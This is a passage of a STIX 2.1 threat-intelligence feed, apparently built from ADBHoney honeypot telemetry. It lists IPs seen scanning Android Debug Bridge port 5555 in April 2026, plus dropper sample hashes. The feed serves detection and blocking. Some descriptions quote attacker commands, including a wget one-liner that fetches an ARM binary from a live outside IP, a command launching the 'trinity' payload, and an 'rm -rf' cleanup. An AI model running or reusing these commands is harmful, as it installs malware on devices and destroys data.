      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14618; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-22T00:03:21.000Z | last_seen=2026-04-22T00:04:55.279Z | ports=5555 | cc=US | asn=14618 | org=Amazon.com, Inc.",
      "id": "indicator--d89fed58-38a9-4896-95c1-4f087bcbcde4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '100.29.192.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T01:00:08.000Z",
      "valid_until": "2026-05-24T01:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-22T00:03:21.000Z",
          "last_seen": "2026-04-22T00:04:55.279Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14618"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T01:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=54; ports=5555; cc=US; asn=14618; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=54 | first_seen=2026-04-22T00:13:18.000Z | last_seen=2026-04-22T00:24:03.908Z | ports=5555 | cc=US | asn=14618 | org=Amazon.com, Inc.",
      "id": "indicator--87637544-73d2-4b89-b92f-09b86409882e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '18.97.19.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T01:00:08.000Z",
      "valid_until": "2026-05-24T01:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 54,
          "first_seen": "2026-04-22T00:13:18.000Z",
          "last_seen": "2026-04-22T00:24:03.908Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14618"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=58; ports=5555; cc=CN; asn=24547; asn_org=Hebei Mobile Communication Company Limited; cats=Generic Protocol Command Decode; adb_cmd_hits=28; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-04. events=61 | first_seen=2026-04-22T01:51:54.000Z | last_seen=2026-04-22T02:04:40.361Z | ports=5555 | cc=CN | asn=24547 | org=Hebei Mobile Communication Company Limited | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--00d02864-f533-4e80-92f5-2c4b80f69f7c",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '39.144.91.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T02:00:03.000Z",
      "valid_until": "2026-05-24T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 61,
          "first_seen": "2026-04-22T01:51:54.000Z",
          "last_seen": "2026-04-22T02:04:40.361Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "24547"
          ],
          "org": [
            "Hebei Mobile Communication Company Limited"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-22T01:26:26.000Z | last_seen=2026-04-22T01:27:32.786Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--bc26422e-52e4-4d53-ad57-c89d5fe90509",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T02:00:03.000Z",
      "valid_until": "2026-05-24T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-22T01:26:26.000Z",
          "last_seen": "2026-04-22T01:27:32.786Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-22T01:27:44.000Z | last_seen=2026-04-22T01:37:48.907Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--c3644ed9-3b81-4177-b57d-550a58eb3e17",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T02:00:03.000Z",
      "valid_until": "2026-05-24T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-22T01:27:44.000Z",
          "last_seen": "2026-04-22T01:37:48.907Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-22T02:03:42.000Z | last_seen=2026-04-22T02:04:52.334Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--6b8338a2-4e96-44f4-b2c2-2a6796ec85c5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '117.68.74.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T03:00:04.000Z",
      "valid_until": "2026-05-24T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-22T02:03:42.000Z",
          "last_seen": "2026-04-22T02:04:52.334Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-22T02:08:14.000Z | last_seen=2026-04-22T02:09:23.048Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--b9f4254d-8a80-425e-b56f-337c90b8d215",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.65.148.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T03:00:04.000Z",
      "valid_until": "2026-05-24T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-22T02:08:14.000Z",
          "last_seen": "2026-04-22T02:09:23.048Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-22T02:07:54.000Z | last_seen=2026-04-22T02:18:07.605Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--ad49ad89-2c4c-4569-bb70-ca147b12071e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T03:00:04.000Z",
      "valid_until": "2026-05-24T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-22T02:07:54.000Z",
          "last_seen": "2026-04-22T02:18:07.605Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-22T02:07:54.000Z | last_seen=2026-04-22T02:17:55.673Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--761576db-abd5-46b9-ab91-a594352149da",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T03:00:04.000Z",
      "valid_until": "2026-05-24T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-22T02:07:54.000Z",
          "last_seen": "2026-04-22T02:17:55.673Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=45; ports=5555; cc=CN; asn=140061; asn_org=Qinghai Telecom; adb_cmd_hits=16; cmd=\"rm -rf /data/local/tmp/*\"\n\nObserved in ADBHoney telemetry for 2026-04. events=45 | first_seen=2026-04-22T04:02:56.000Z | last_seen=2026-04-22T04:18:05.730Z | ports=5555 | cc=CN | asn=140061 | org=Qinghai Telecom | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5",
      "id": "indicator--371850a8-1db5-4645-8ef2-f158e0e8ee1b",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '220.167.147.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T05:00:03.000Z",
      "valid_until": "2026-05-24T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 45,
          "first_seen": "2026-04-22T04:02:56.000Z",
          "last_seen": "2026-04-22T04:18:05.730Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140061"
          ],
          "org": [
            "Qinghai Telecom"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T05:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5.raw; src_ip=220.167.147.10; src_ips=220.167.147.10; cc=CN; last_seen=2026-04-22T04:08:37.897Z; cmds=[cd /data/local/tmp;mkdir .p 2>/dev/null;cd .p;(wget -qO b http://196.251.107.133/bins/parm7 2>/dev/null||busybox wget -q | rm -rf /data/local/tmp/* | ps | grep trinity]",
      "id": "indicator--33008aef-0e5e-4d08-9fd6-f0885ae2c4bd",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T05:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T06:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=RO; asn=214295; asn_org=Skynet Network Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-22T05:03:04.000Z | last_seen=2026-04-22T05:04:12.595Z | ports=5555 | cc=RO | asn=214295 | org=Skynet Network Ltd",
      "id": "indicator--1b5cf1f3-1e43-40fb-93b0-8497f54424dc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T06:00:03.000Z",
      "valid_until": "2026-05-24T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-22T05:03:04.000Z",
          "last_seen": "2026-04-22T05:04:12.595Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "214295"
          ],
          "org": [
            "Skynet Network Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=55; ports=5555; cc=CN; asn=56046; asn_org=China Mobile communications corporation; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-04. events=55 | first_seen=2026-04-22T10:01:10.000Z | last_seen=2026-04-22T10:14:03.678Z | ports=5555 | cc=CN | asn=56046 | org=China Mobile communications corporation | related_hashes=76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--4f87b305-3a86-411f-9559-0acd7eb8b29b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '36.155.194.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T11:00:02.000Z",
      "valid_until": "2026-05-24T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 55,
          "first_seen": "2026-04-22T10:01:10.000Z",
          "last_seen": "2026-04-22T10:14:03.678Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56046"
          ],
          "org": [
            "China Mobile communications corporation"
          ],
          "related_hashes": [
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=25 | first_seen=2026-04-22T13:43:56.000Z | last_seen=2026-04-22T13:56:00.997Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--4677fce6-95d8-4e7c-bf8e-81b5fd201915",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.65.194.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T14:00:02.000Z",
      "valid_until": "2026-05-24T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 25,
          "first_seen": "2026-04-22T13:43:56.000Z",
          "last_seen": "2026-04-22T13:56:00.997Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T15:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-22T14:29:11.000Z | last_seen=2026-04-22T14:30:20.311Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--ecc94eea-0723-4465-83a6-cf4fa73d48d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T15:00:04.000Z",
      "valid_until": "2026-05-24T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-22T14:29:11.000Z",
          "last_seen": "2026-04-22T14:30:20.311Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T15:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-22T14:56:40.000Z | last_seen=2026-04-22T14:57:42.560Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--18650ce0-2a68-483a-bf7e-4f41ebb585e4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
